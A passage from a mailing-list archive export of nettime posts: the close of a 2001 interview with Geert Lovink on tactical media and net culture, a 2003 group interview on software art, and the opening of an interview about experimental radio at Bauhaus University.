utopianism. Even amongst distinguished scholars\nnegativism has never been popular.\nI have always been willing to take the risk of promoting digital ideas,\nknowing that, at the end of the day, they would be perverted, not just be\nthird parties, but also by classic infightings within the alternative\nghettos. Increasing the media-cultural complex needs new ideas, just to\nfeed itself, with regardless what. One day you are their \"content\", and\nnext day you don't exist anymore. It is our normal state to be ignored.\nOnly the scandal will bring you in the spotlight of the Spectacle. There is\nreally nothing special about this media law. Nothing to be upset about. In\nthe case of the demand for public access to information and the\ncommunication networks it is a broad and diverse new media culture which\ncounts, in the end. The projects themselves are interesting enough. Some of\nthem are even really exciting! What then counts is to leave that particular\nstage or project early enough not to get bitter or cynical.\nWhen we are speaking about the birth of (public access) media it is all\nabout the Art of Appearance and Disappearance. I know, these are ugly terms\nfrom the postmodern eighties. Too bad. But they really make sense (combined\nwith a healthy dose of economic theory from both liberal and critical\nperspectives). You want your ideas to spead and you don't want to become\ncomplicant. Fine. Your choice. Then don't blame others for making money\nwith them. If the gift economy gets corrupted, move on. If everyone has\nInternet and the revolution still hasn't arrived, too bad. Change stage.\nThe idea of a Digital Commons is still there, despite IBM and HP buying\nthemselves into the open source movement.\n\nQ: Your last book is a collection of interviews entitled \"Uncanny\nNetworks\". You highly contributed to the development of networks in Europe.\n\nThe original idea, if I'm not wrong, was to create a field of convergence\nwhere artists, activists, programmers, designers, critics and academics\ncould meet. Over the years \"the tactical media\" space has been filled with\na variety of events and solutions, from the Next5minutes to the Browserday,\nfrom a diffused net plagiarism to the Toywar. On the other hand, in the\nintroduction to your book you say \"multi-disciplinarity remains an idle\ngoal, not a daily reality. The division of labour is still there, due to\nthe highly specialized knowledge of each field.\" What are the results of\nthe efforts of weaving these networks over the years? The process of\ncrossing the fields is still too young or is already gone?\n\nA: You are right. Where does our fascination to work with other disciplines\noriginate? Why this is a passion so many people share, comparable to the\ncommon hateress against the Microsoft monopoly? Are we really locked up in\nthe cages of specialized fields of knowlegde? Discontent about the division\nof labour is certainly there. Does it come out of a false hunger for\ntotality, a holistic drive towards a unified existence in which everyone\ncan do anything at the same time? I can only ask questions here. Perhaps\nworking with Others is what people really want compared to the demand for\nsocial change in the first half of the 20th century. Specialists constantly\nneed new imput in order to remain creative and competitive. The underlying\nidea of working with the professional Other is that he or she has hidden\nideas and energies which will collide and fuse with ones own. In the office\nworld and the work floor having to others is not all that special.\nMulti-disciplinary task forces are pretty common. The strategy of mixing,\ncreating temporary, hybrid solutions and (art) works is only shocking for\nthose who have something to lose, aka those who are running institutions.\nInternet does not belong in visual arts, theory is not activism, real\ntechnology does not need art, etc. But people do not fit in categories and\nsome resist the constant need for qualification and the specific education\nand reward systems. Undermining self-referentiality within disciplines is a\nsomewhat bizarre, not very rewarding hobby. It is of course better\ncarreerwise to stick to the rules of the administrators rand just do your\nown art, cultural studies, television or radio and not behave like a mad\nscientist in search of the recipe for making gold. Because what should the\noutcome, for example in the case of multi-media, look like?\n\nQ. I'm not very interested in \"professional\" cooperation.\nUltra-specialisation of labor makes multi-disciplinarity necessary, if not\nvital to exist on the market. My question was more referred to people (like\nyou) that decide to cooperate following a desire, a tactical line of\nflight, a trajectory which is meant to lead somewhere or nowhere else.\nTactical media was naming many different spaces of invention. This\ndefinition wasn't only indicating what to do in \"the next five minutes\n\". It\nwas the expression of a new infrastructure and a new way to communicate\namongst real people, through space and time. Not for the sake of \"cultural\ninnovation\", but with the intention of building a shared code, a procedure\nof attack. This chain of reactions worked perfectly with the Toywar, for\ninstance. But, is it always necessary to wait for an emergency to verify\nour power? What is the network doing for the rest of the year? According to\nyour experience, is it stronger than 5 years ago? I know it's very hard to\nmake a complexive balance, but you are one of the few people who really\ntravelled through many central experiences. [Sorry, to be so specific but\nthis is the real core of the book. I was talking to Ricardo Dominguez\nrecently: he said that one of the netstrike tools is to upload questions on\nthe target server, like \"Is democracy.html on this server?\" And the answer\nwould answer \"democracy.html is not found on this server\". 404, a tipical\nnet.art gesture becomes in this way part of a tactical action. What is\nusually considered a physical attack, shift into a syntactical one. This is\nthe space where single gestures become rings of a chained discourse. It's\nthe space where net.art meets hacktivism or where hacking meets net.art,\ne.g. life sharing by 01.org. I'm very interested in this space, it's my\nfavourite one, because it keeps the heritage of the XX century\navant-gardes, but being much less elitist to me. I want to understand if\nthese different communities meet just occasionally or are building the\nconditions for a paradygm shift. On one hand, net.art seems to dig more and\nmore into conceptualism, interface design; hacking is all focused, at least\nin Italy, on writing softwares under GPL; hacktivism seems an endless count\nof online actions more or less related to the current \"anti-glob\" agenda.\nHere the function of the networks become crucial. If you read the subjects\nof Nettime you have the feeling of a very balanced, integrated world; on\nthe other hand, anyone keep following h/er own thread; i know that the\nnetwork doesn't have a personality, it's not a subject or a party. I don't\nwant to reduce it to a definition, but in the last 5-6 years many things\nchanged inside and outside of it=85 i'd like you to paint a fresco of this\nshift, frome the point-of-view of an insider=85]\n\nA: The Web is not the Party. It is not even a movement. What we face here\nis an increasing uncertainty over the political. There has been a shift\nover the last twenty years, away from clearcut political structures and\nactivities towards a much more blurry field of \"cultural exchange\". Others\nhave written at length about the shift from politics towards arts and\nculture, specially in Germany. The somewhat closed circles around magazines\nsuch as Spex, Texte zur Kunst and Starship have reached a sophisticated\ndiscourse around that topic (however, not (yet) accessible for non-German\naudiences).\nThe uncertainty on the Net is a big issue, as far as I can see. Will the\nOther answer? The essence of networks, one could arguably state, is\ncollaboration. Not just communication or exchange of information. However,\nthe cases of a successful collaboration remain rare. This is partly because\nso many are new users are not yet accustomed to the Net. They merely use it\nas a tool (making money, for example). This is why I am hestitant about\nusing the Net for attacks. It is not very creative and sophisticated, at\nleast not at this moment. In my opinion the density of self-organization\nhas got to rise first. The lose cultural networks we see at the moment are\ngoing nowhere. They may create a bit of discourse, but that's all. That\neven counts for the activist sites such as indymedia.org. They still have\nto reach the level of workgroups. It will start to get interesting if\nnetizens, the global online citizens will have their own intranets.\nSubstantial islands within the net, also software-wise. That will not so be\nignored or knocked-down. I am not if the invisible, tactical strategies of\nthe Deleuzian age will last forever. They were written in response to the\ndeclined, at that time still powerful structures of the communist parties\nin France and Italy. Such entities do not exist anymore. We are living in\nthe post-89 world in which micro-politics and rhizomatic strategies have\nbecome almost hegemonic concepts. It that sense it is right to say that\nthis a Deleuzian Age. But I am not the kind of person to obey the Deleuzian\n\nState Region. Neither would Deleuze, I suppose. It's hard to deal with\nfashions if you like them.\nAs many have noticed before, viral marketing has become a mainstream\ncorporate strategy. I am very concerned with the lack of infrastructure in\nthe net culture. Virtuality alone will not do it. We have to physically own\nand develop (or hack, steal, etc.) cables, satellite, offices to work from\nand not buy into the advertisement of the happy mobile nomad. This is also\nmeans that we have to go beyond the somewhat primitve and moral critique of\ninstitutional politics. I am keen to see how complex and diverse\nsuperstructures, virtual institutions can be developed. Not just a website\nplus mailinglist. We should not get stuck at that level.\n\nQ: That's it. Maybe it's time to go beyond a mere \"we want bandwidth\" or\n\"access for all\". Server machines could be a good start: if you want to\nbuild a really autonomous network you have to build up your own computer\nhost, like in the BBS-age when anyone could be a sysop and run his own net.\nThe recent wave of interest towards P2P systems such as Gnutella or the\nmuch-rumored Freenet seems to signal a sort of growing awareness about\nthat. Recently, www.wired.com reported a not-so-weird proposal coming from\nthe Cato Institute, a kind of US libertarian anarcho-capitalist think-tank,\nto build up parallel private networks beyond the mounting state-regulation\nof the web (muck like offshore states, e.g. Seeland). This funny\nconvergence between issues and attitudes so different - typical of this\npost-all age - may be a symptom. Isn't it time to claim \"server machines\nfor all?\"\n\nA: For sure. In a few years we might get there. Now are still in the period\nof economic downturn and rollout of bandwidth capacity (both for Internet\nand wireless). However, we are no longer living in the na=EFve (Clinton)\nyears of the cyber plenty. In a time when everything was growing it was\neasy to be libertarian.We are now moving towards a period of confrontation,\naway from the third-way agenda of consensus in which, for example, such of\nSealand, Wired and Ayn Rand followers such as the Cato Institute perfectly\nfit. I am not sure if we should continue the strategy of building temporary\nautonomous zones. It is time to be in the world. That's the strategy of the\nso-called Seattle movement against corporate capitalism. Confrontation with\nthe corporate world and its institution, based on decentralized and\nnetworked affinity groups and individuals, coordinated by a power portal\n(www.indymedia.org). We have had enough laissez faire laissez passe\npolitics. Deleuzian rhizomatics was part of that. But the age of \"imperial\nsovereignity\" of the Internet is coming to a close. The Net is becoming a\nbattleground, not just a market place for ideas and their data. That image\nis too simple, too harmonious. Now that the introductory phase of new media\nis coming to close (despite further tech revolutions) we return to a real\npolitik of the networks in which economic interests of telecom giants,\nmicrosoft, governments and regional blocs are becoming real. The recording\nindustry has to go to court against Napster. It cannot just tolerate it.\nNor will Hollywood tolerate Gnutella. People who are developing and using\nsuch systems have to understand the clandistine nature of what they are\ndoing and take responsibility, take sides. The time of playing and surfing\nis over. If you run a server, fine, do it, but then you are also the\nsys-op, and with that comes certain legal and ethic responsabilities. If\none is prepared to accept this, then go ahead! But don't say afterwards, I\ndidn't know I was only exchanging films and software without knowing that\nit's illegal. People have to be prepared to say: \"Legal, illegal,\n Schei=DFegal.\"\n\nQ: What are the economic sources on which to build a really independent new\nmedia culture? According to Negri and Lazzarato, the economics of\ninformation has most to do with the \"production of subjectivities\". And\nthis production often needs to assume the form of enterprise acting within\n(and in a sense against) the marketplace. Negri and Lazzarato define\n\"political enterprise\" this new agent, and we are seeing some examples of\nthat rising. xs4All, even after the take-over by the Dutch telecom KPN,\ncould be one of those. What are your feelings about that?\n\nA: New media culture is producing concepts, not value in the speculative\ndotcom sense. Let alone money. And not content either. They are\nconcepts-in-the-making which need to be tested out first before they can be\nused on a large scale to produce subjectivity, as Negri and Lazzarato\ndescribe it. The fun about this test phase is not the some heroic\navant-garde position of showing people the way. I think it is a much more\nplayful, experimental stage, less pedagogical, in which ideas are getting\nhardwired into a small scale technological culture which builds up its own\nuserbase and rituals and then gets exposed to society and the marketplace\nin a later stage. The real test then is to see how robust the \"meme\" is\nwhich has been collaboratively developed. There can be sell outs, betrayals\nand other setbacks. Boredom of the everyday is even more destructive to\ngood concepts. I am not sure if profit or non-profit really makes such a\nbig difference, probably in the speed in which ideas can spread. I am\ninterested in sustainable memes that can constantly change, grow and\ncontract, without losing its core identity and basic ethics. xs4all seems\nto be a good example. What I do not like are people who build up something\nprecious, together with many others, and then, for some reason, pull the\nplug and disappear. To me, all CEOs of dotcoms startups which went bust are\ncowards to me. Many of the dotgone companies were \"build to flip\", ran by\npeople who only do business in times of hyper growth. Come on. Who's afraid\nof a crisis, or two? Those who grew in the seventies and eighties, without\nall that easy VC money are ready to take risks, to make something out of\nnothing. The dotcom business model is for the unpatient so-called\nenterpreneurs who, in the end, only learned how to burn money. They did not\neven develop concept, let alone software. What the cultural sector of the\nNew Economy (RIP) has done in the wild years of 1999-2000 is not entirely\nclear. They mainly fought over the definition of net.art so that art\ncritics could start writing and art collectors could start collecting.\nCulture was in a volatile, defensive mode and did not profit whatoever from\nthe money fountain. It was a time of survival.\n\nOnline text archive: http://thing.desk.nl/bilwet, coming soon:\nwww.laudanum.net/geert\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Fri, 05 Oct 2001 17:09:51 +0200",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "200110070050.UAA06273 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0110/msg00044.html",
                "list": "nettime_l",
                "author_name": "snafu",
                "subject": "<nettime> An interview with Geert Lovink"
            },
            {
                "content-type": "text/plai",
                "from": "Olga Goriunova <og {AT} dxlab.org>",
                "id": "00117",
                "content": "\nQuickView on Software Art\n\nAmy Alexander, Florian Cramer, Matthew Fuller, Thomax Kaulmann, Alex\nMcLean, Pit Schultz, and The Yes Men, interviewed by Olga Goriunova and\nAlexei Shulgin.  http://runme.org\n\n\nQ: Why are you personally attracted to 'software art'?\n\nThe Yes Men: We are very interested in software art because of its\npotential for automation! We can use these technologies to replace the\nartists. A wholesale replacement.  Followed by leisure!\n\nAlex McLean: Because making code is empowering, but generally taught very\nbadly.  The act of programming is portrayed as systematic and uncreative.\nThis may be appropriate for working on quality assured credit card\ntransaction systems, but why apply it to programming as a whole?  Software\nart might give us a place to look at the creation and use of software\noutside of formal business constraints, and the stereotypes thereby\nfostered.  I'm also repelled by software art, because I see artists trying\nto employ software thoughtlessly.  Hopefully software art will draw on its\nhackerly heritage enough to sidestep readymade wizardware.\n\nThomax Kaulmann: Software art can be a manifold thing. It can look nice in\nsource code or at runtime. It can influence culture or can give an\nimpression of the present culture.  Software art is just another art\ndiscipline and it is not defined.  Art is always a matter of intention,\nthere can be different media to transport one's vision: stones & hammer,\ncanvas & color, camera & video or computers & software. An artist is\nintrinsically motivated to translate his/her ideas to a broader culture,\nthrough software as well. \n\nAmy Alexander: Hmm, it's a little like asking \"why are you attracted to\nart?\" isn't it :-)?  I'm not sure verbal answers to such questions can be\nentirely satisfactory or productive. But to give a partial one: I think\nbecause software art is a mode of non-verbal expression relevant to\ncontemporary culture - just as photography, video art, etc., were to the\ntimes in which they first appeared (and still are.)\n\nMatthew Fuller: Perhaps the conjunction of two highly productive and\ninventive forces, neither of which really wants the other is always going\nto make for something interesting?  What is named as contemporary art has\nresponded to networks and computation by taking on certain of the\ncharacteristics of networks - the formulation of 'the relational aesthetic'\nfor instance - without actually dealing with the specific technologies.  On\nthe other hand, software cultures have only very rarely considered\nthemselves to or have acted in a manner which is reflexive, in the way\nwhich is most usefully and richly developed over the last century and a\nhalf or so of art.  Various conjunctions of these two patterns of activity,\ntheir mutual interference, seem to be generating some exciting or annoying\nor disruptive or inventive effects.  One cannot claim this for all of the\nwork that operates here of course, but it is an opening to new\nconjunctures.\n\nPit Schultz: Software art is attracting me because it is carrying a\nseductive promise that possibly software production could be seen as\ncultural production; that writing code has more meaning as making a program\nrun or crash or sell. It might place media art into the history of\ncontemporary art with the passage of conceptual art for example.  It poses\nquestions of artisanship, and pragmatic aesthetics of code, a kind of\nsurplus that is not technological in terms of efficiency.\n\nFlorian Cramer: If one defines (as the Read_me 1.2 jury did) software art\nas art that is either based on formal instruction code or which is a\ncultural reflection of software, then there has been a lot of interesting\nartwork lately in this field that has a attracted me and which justifies to\nengage with this concept. Jodi's work of the past few years, which has\nradically shifted from browser art to manipulations of computer software,\nis one striking example. But aside from that practical observation, I am\nalso attracted by theoretical issues, since, being an academic in\ncomparative literature, I research the borders and grey areas of writing,\nexecutable code and art, from the permutational poems of the late antiquity\nto lullist and kabbalistic language speculation to up to the very new\nsituation that instruction code has become a mass commodity and a material\nappropriated by artists in all kinds of ways.  I thus would never limit\nsoftware art to craftsmanship of programming (i.e. software art as a Donald\nKnuth-style \"art of programming\"), but consciously take  speculative,\nunclean, or even non-computer-related approaches into account, from certain\nforms of poetic play and conceptual art to the use of machine code\nfragments as private languages in artistic \"codeworks\" like those I\ncollate, together with Alan Sondheim and Beatrice Beaubien, into the\n\"nettime unstable digest\".  I should also add that I am a Free Software\nactivist who perceives operating systems (particularly those which don't\ncreate artificial frontiers between \"users\" and \"programmers\" - i.e. Unix,\nPlan9, LISP machines) and software as ways of thought and cultures that are\nin no way aesthetically, culturally or politically \"neutral\". It thus\nfollows that software and art, as modes of both cultural reflection and\nconstruction, are closely related to each other.\n\nQ: Which viewpoints on the issue you find most interesting?\n\nAlex McLean: That of the programmer, because I am one myself, and that of\npeople using the software, because there is often great disconnection\nbetween software creators and their audience.\n\nAmy Alexander: I have a few interests: critical, political and algorithmic.\nCritical: Software art helps us examine the biases and the influences on\nculture of software at large.  Most non-art software pretends to be neutral\nand objective technology - devoid of human influence.  Software art opens\nitself up to examination of its human-created biases and its\nhuman-experienced influences - so it helps us understand how these factors\noperate in \"normal\" (non-art) software as well. \n\nPolitical: Governments and corporations use software and information\ncapital to exert influence.  But artists and others can use software to\nstrategically redistribute information capital in a more equitable, useful\nand entertaining manner. (Mi datamine es tu datamine.) In other words, I\nthink it's important to realize that data and algorithms are separate\nthings. Even proprietary data can often be publicly accessed (search engine\ndatabases, etc.) But how it's used is in the algorithm - strategically\nwritten algorithms can provide a lot of leverage and be very handy as\ntactical media tools.\n\nAnd algorithmic for its own sake: the visceral, improvisational nature of\nart and communication through algorithms and coding.\n\nMatthew Fuller: Yes, it is the way in which various software art projects\nreveal the way software is embedded within wider currents of social and\naesthetic composition.  How does software manifest, reproduce or invent new\nrelations, say of class, or of processes of work and activity?  How is it\nracialised? Is it so precisely in its 'universality'?  Does it have a way\nof doing things built into it that enhances certain kinds of sociability,\nor act against them?  We can ask these questions in a number of careful\nways, but also in a manner that acknowledges our embeddedness within\nsoftware as culture.  Part of these discussions are already part of office\nculture, think of the drippy compensatory humour of 'Dilbert' cartoons;\nconsumer culture, where it exceeds itself as simple passivity, the\ninventive intermediate role of 'power users'; and, perhaps most usefully in\nthis case in the way that particular scenes invent new forms of software\nand new ways of dealing with established forms - think of the now long term\ntradition of the demo-scene for instance.  At the same time, it's useful to\nwork from the 'opposite' direction. There are some interesting currents\nthat take advantage of the specific material qualities of particular kinds\nof coding culture. Think of some of the games mods or some of the\ngenerative code work that really take advantage of the idiosyncratic,\nperverse and particular nature of code practices.  Exploiters of bugs.\nMake the machines stammer, speak in tongues.\n\nAmy Alexander: The algorithm is also very important here. The algorithm\nthat generates the output is an important and subjective thing, and in\ncommercial software, it often hides behind the veil of innocent,\ntechnological neutrality. An obvious example is Google's PageRank\nalgorithm, which determines which sites appear towards the top of Google's\nresults, and which don't appear at all. The algorithm is very biased toward\nbig sites, especially if they own lots of other big sites.  But in their\ndescription at http://google.com/technology, Google explains that they rely\non \"the uniquely democratic nature of the web\" and that \"Google's complex,\nautomated methods make human tampering with our results extremely\ndifficult.\" Didn't humans write the algorithm?\nThat is a very direct example. Software artists approach the subjectivity\nof algorithms in different ways; some are more formal; many are more\nsubtle. But because software art opens itself up to examination of its\nsubjectivity, and the fact that interface is driven by human-generated\nalgorithms, it can help us think about the broader software context.\n\nPit Schultz: Which viewpoints? The view from the 'folkloristic' aspect of\nprogrammers' cultures, writing gimmicks.  The aspect of generating a tree\nof knowledge out of existing material, by changing the viewpoint to it. The\nquestion if there's something else than an unlimited numbers of readymades\nto be found.  The archive aspect of an area of production, which is not yet\nbounded, territorialized. Something ambivalent that was already attracting\nme to the possibility of net.art. A strange attractor for the possibility\nof existence of such a genre?\n\nFlorian Cramer: Georg Philipp Harsdoerffer's \"Mathematische und\nphilosophische Erquickstunden\" (\"Mathematical and philosophical\nrecreations\") from 1636 -- perhaps the first attempt to systematically\ncombine poetics, mathematics and algorithmics into a playful whole, Abraham\nM. Moles \"First manifesto of permutational art\" from 1963, Jack Burnham's\nexhibition \"Software\" from 1970, Geoff Cox', Adrian Ward's and Alex\nMcLean's 2000 paper \"The aesthetics of generative code\", Matthew Fuller's\n2000 paper \"It looks like you're writing a letter: Microsoft Word\", the (to\ndate: four) jury statements of the Transmediale and Read_me juries, to some\nextent also Larry Wall's papers on Perl and postmodernism. We could use\nmore cultural criticism of software in general, and especially a criticism\nthat sees more than surface screen visual and which doesn't fall into the\ntrap of simplistic analogies between structures in software and structures\nin society.\n\nQ: Programmers don't seem to be interested in submitting their works to art\nfestivals and competitions. There is a huge body of their work that might\nbe interesting culturally and artistically. What are the possible\nstrategies and interfaces that can help to make those works visible in the\nextended software / art context?\n\nAlex McLean: Yes, programmers don't need institutionalised art festivals or\ncompetitions.   They have the Internet, and the grass-roots fact-to-face\nmeetings that result from their online projects and discussions.\n\nAmy Alexander: Programmers don't need art festivals - hooray! Rewind back\nto \"net artists don't need museums\", and multiply by a factor of two\n(because programmers typically don't consider themselves in the \"art\" field\nat all.) So a programmer's work might be culturally and artistically\ninteresting, but you have to go where it lives instead of making it come to\nyou. First we should ask ourselves, \"is this a problem?\" Personally, I\ndon't think so. Centralization causes marginalization of whomever is not in\nthe \"center.\" Not to mention structural weakness (single point of failure -\nwhen the \"center\" disappoints, the whole can fall apart.) Do programmers\nfeel the urge to be pulled into the \"art context?\" If not, then to do so\nmight be to open a software art zoo and hunt down projects to bring them\ninto captivity - so we can gawk at them without getting our fingers dirty.\nMany authors won't want to be involved in \"art\" contextualizations at all.\nOthers will if the context and culture seems inclusive and relevant to\nthem. Programmers (among others) are turned off by artspeak, or if every\ndiscussion refers back to postmodern philosophy. These conversations\nexclude people, and it is in fact possible to have an intelligent,\nculturally relevant discussion without these as the focus. Also, it is\nhelpful for non-programmers to read about, learn about, and experience geek\nculture. It is a culture, and it's about people, not technology.  So\nanyway, hopefully runme.org takes a couple of positive steps: it's, we\nhope, easy to submit work to - you don't have to spend a lot of time\nputting together a big press kit with lots of artspeak to impress some jury\nand mailing it in ... and you can invite someone else's work in, if they're\ntoo busy or too shy to submit it themselves... it also tries to respect\nthat software art comes from both \"software\" and \"art\" genealogies but is\nits own thing. I think it's a problem when people try to interpret software\nart as strictly \"software\" or strictly \"art.\" Time will tell if our\ndiabolical plans have been successful. :-)\n\nThe Yes Men: There are many examples of amazing \"outsider art\" that isn't\nrecognized as such by the producer.. So I would think merely pointing them\nout, or finding them and making contact with the producers is what would be\nmost important first.\n\nAlex McLean: Yes, runme.org may be a start, allowing existing communities\nof people interested in creative aspects of computing to share their view.\n\nFlorian Cramer: I personally think runme.org is an excellent step in this\ndirection. With its function as a download repository and weblog-style\ninterface (as it was pioneered by Free Software websites like Slashdot.org\nand Freshmeat.net), it clearly overcomes some (so-to-speak) interface\ndesign issues of the festival/competition/exhibition-oriented art system,\nalthough I still think that both channels could and should co-exist. I find\nthe exhibitions \"I love you\" (at MAK Frankfurt 2002 and at transmediale.03\nBerlin) and jodi's \"install.exe\" (at plug.in Basel 2002 and Buro Friedrich\nBerlin 2003) very successful presentations of software art in the language\nof the traditional art system, and the presentations are necessary to\naddress a larger non-geek audience. Since runme.org got headline coverage\non Slashdot.org, I am quite optimistic that this is the way to go. In\ngeneral, Free Software self-organization provides good blueprints to\nsoftware art self-organization.\n\nPit Schultz: The question is what constitutes the 'software art context'?\nThe software repository is known from shareware and other kinds of\ndownloadable software tools. Is it applicable to the area of 'art' too?  If\nwe talk about context, the question is what kind of 'institutions' make\nsoftware art exists, where are its boundaries? Who constitutes these\nboundaries and how? And of course, is there a history of software art,\nassuming that it exists.\n\nMatthew Fuller: Roland Barthes suggested that a truly interdisciplinary\nobject is one which is nameable by none of the disciplines that in part\ncontribute to making it, or that congregate around it.  Such an object is\nowned by no one set of ideas and approaches.  It demands that traditions\nbecome strange to themselves.  So what is set in motion when art approaches\nthe irritating subject of programming, what happens when the 'art'\ninsistences on being incidental, on being amateur, on being able to go\nwide-eyed or cunning into any context, comes into some relationship with\ntechnical skill?  Equally, what happens when computing enters a context\nwherein every stage in a process has aesthetic effects?  What happens when\ncomputing's in-built judgments about what is 'optimal' or what is 'trivial'\nare subject to question and reinvention, or may even usurp its capacity to\nrule, to make rules?  The revaluation of the trivial, of waste, of the\npast, of what has been shat out, and conversely, what it founds - the new -\nis one of the powers of art.  I don't think that this work then that you\nask about, that of programmers, needs 'help'.  It doesn't need to be 'made\nvisible'.  We don't need gestures of sympathy such as those repetitiously\nawarding Linux the name, 'Art' in order to make things possible.  What is\nneeded are more specific alliances with particular currents of programming\nand other strands of making culture; deranging gestures that bring new\nworlds to light; prison break-outs; sustained and thoughtful work that\nmakes itself available for use.\n\nQ: Software art seems to be quite an open field yet, possibly due to the\nreason it is very diverse and in many respects is based on the programmers'\nculture that is hard to grasp. While contextualizing grassroot movements\nlike this one and thus, providing an access to \ninteresting practices to larger audience, we are at the same time inevitably packaging them for easy appropriation by art institutions. How do you think we can deal with this problem?\n\nAlex McLean: Having people with broad knowledge and experience of\nprogramming languages forming part of art institutions.  Critics should\nbecome literate in some of the many languages of software art before trying\nto understand its context.  Right now I think many art institutions are too\nsoftware illiterate to be of any interest to software artists.\n\nThe Yes Men: Yes! Just like the outsider artists... Well, it seems the\nimportant thing is to respect the desires and intentions of the creator...\nSee if they want to be appropriated first. If appropriation involves a\ncompromise of integrity, then figure out in each instance how to make the\nwork useless to the dominant narrative...?\n\nPit Schultz: How did other types of 'immaterial art' deal with this\nproblem? How did early computer graphics deal with it, or certain kinds of\nFluxus? The question is for me first of all is there a 'style' a kind of\ncommon 'ductus' which one can see after the years surrounding different\nforms of 'conceptualism'. The suggestion is that there is a difference to\nbe made in relation to other forms of art, which are based on the\npostulation that a new 'form' is found, only through the use of a specific\n'new' medium. The autonomy of media art in relation of contemporary art has\nto be questioned, on the other hand the way the art operating system\nprocesses incoming 'new forms' has to be questioned too. Software and the\nnet allows to run a 'museum' with much less funds than elsewhere, this\nposes questions of what defines the needed power relations of\nrepresentation which are constituting an art form.  \"Software art\" insofar\nis not new, but it reflects, enhances, explores the role of software in a\npost-industrial society and afterwards. What is the role of the original,\nthe author, the object, can one apply other basic questions of the\npredecessors of this potential art genre in a new way? How do seemingly\nsuccessful works function gaining a market? (rhizome list etc.) What kind\nof criteria they seem to fulfill?  Is there any place of constituting\nitself outside of an institutional interest? As with any art I'm also\ninterested in the art which hasn't to be called art.\n\nMatthew Fuller: This question might also be posed from a different\nperspective.  If art institutions are treated simply as a particular and\ndistinct part of a number of interlocking, but also partially\ndifferentiable processes and institutions it is useful to use them and take\npart in them for those things that they do well. \u0085 I also think that in\ngeneral it is wise to avoid becoming involved solely in one kind of\ninstitutional structure.  The advantage of the internet and other\ndistribution mechanisms is that you can be active in art contexts, but also\ndevelop relations to other circuits of distribution: shareware, module\nlibraries, free software, gratis CD ROMs and so on.  Work to multiply\nthese.  Mongrel for instance always triangulates what it does, using the\nnet, streets / communities, and art systems to reinforce each other, but\nalso to make sure that no one mode dominates the others.\n\nAmy Alexander: I don't worry about this. Art institutions (including\nrunme.org!) can and will appropriate anything they want - the thing about\ndigital projects of course is that in general, they're infinitely\nreproducible - so an institution jumping onto the net doesn't interfere\nwith other nodes and modes of distribution. It just jumps on the bandwagon.\nPeople can decide for themselves which packagings they find most\ninteresting.\n\nFlorian Cramer: This is a question that applies to any labeling and\ncontextualization of art. Recuperation is inevitable as soon as you call\nsomething \"art\", and of course we ourselves do contribute to that\nrecuperation. I don't care, and even think it's good to recuperate certain\nthings -- like, for example: hacker code -- to save it from being\noverlooked or forgotten.  It's rather problematic if the recuperation\nhappens the other way round, as problematic exploitation of programmer's\ncultures through artists (like in the RSG Carnivore project and - despite\nits good intentions - the \"CODeDOC\" exhibition at the Whitney museum).\n\n______________________________________________\n\nNo commercial use without the permission of the authors.\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Fri, 21 Feb 2003 13:48:22 +0200",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "200302222118.h1MLI5R07579 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0302/msg00117.html",
                "list": "nettime_l",
                "author_name": "Olga Goriunova",
                "subject": "<nettime> QuickView on Software Ar"
            },
            {
                "content-type": "text/plai",
                "from": "Trebor Scholz <trebor {AT} thing.net>",
                "id": "00027",
                "content": "\nRalf Homann is an artist and director of the Experimental Radio Program at\nBauhaus University, Weimar\n  =20\nInterview with Ralf Homann by Trebor Scholz.\n  =20\nTS: Please introduce the \"Experimental Radio Program\" at Bauhaus University\nand its history.\n\nRH: The Experimental Radio was founded in 1999 at Bauhaus University. The \nnew Department of Media was set up two years ago based on the realization \nthat the common understanding of media as =8Cvideo=B9, or =8Ccomputer=B9 \nor =8CTV=B9 wa= s not complete. =8CVideo didn=B9t kill the radio star.=B9 \nIf what used to be called =8Cnew media=B9 were to be transformed to \nregular media, then the terms =8Cold=B9 and =8Cnew=B9 would have lost all \nmeaning. This is especially true in the context of the arts. For example: \nAre etching, sculpture, painting and radi= o really old media? Or do new \nmedia start with =8Celectronic,=B9 =8Cmechanical=B9 or =8Cdigital=B9 \nprocessing? All these definitions fail because they are based on tools. In \ncontemporary art after The Bauhaus the =8Ctool follows the function.=B9 I \nunderstand radio as a global, worldwide phenomenon, a tool which is \n=8Cpublic domain=B9 just like screws, wood, or stones but more global like \nTV, phone or the internet. Radio is 'pilot media' following the theory of \ntime-based electronic communication because it was always first. It was \nset up before TV and before video streaming became popular. The \nExperimenta= l Radio at Bauhaus University uses radio as a tool for the \nfine arts just as it uses it as a tool for sound sculpture, journalism and \nsound design. This relates back to the Bauhaus idea that the fine arts, \napplied sciences and design should come together to create an artwork. We \nhave our own radio studio and local FM frequency, and a streaming media \nserver for net radio. We also have a studio for projects that are based on \nsculpture, installation, performances, actions or interventions in public \nspace. Perhaps it is necessary to explain some German traditions to \nunderstand the special significance of the Experimental Radio. After World \nWar II the West German media were organized by the Allies to guarantee a \ndemocratic development of society. Print media were organized as private \nproperty, but the electronic media networks are based on =8Cmother=B9 BBC \nas a public, non-state, and non-private system. This goes against the \ngrain against of the German understanding of public space and public \nsphere, which is either state or private. The idea of common property \ndeclined about one hundred years ago and Radio and TV in Germany were \nhighly regulated in Nazi Germany and then again during the Cold War.\n\nFor example, producing or merely possessing a radio transmitter in Western \nGermany without license could be punished by five years in jail. In East \nGermany high school students who use an illegal transmitter were killed by \nthe state in the 1950s. The Experimental Radio was set up in the 1950s \nwhen Thuringia (the state within the Eastern part of Germany where the \nBauhaus-University is located) allowed private and also free and community \nradio.\n\nMy first project at the Bauhaus-University was the \n=8CMicro-Radio-Party.=B9 I realized it together with the Tokyo-based \nartist Tetsuo Kogawa. I invited him to present the 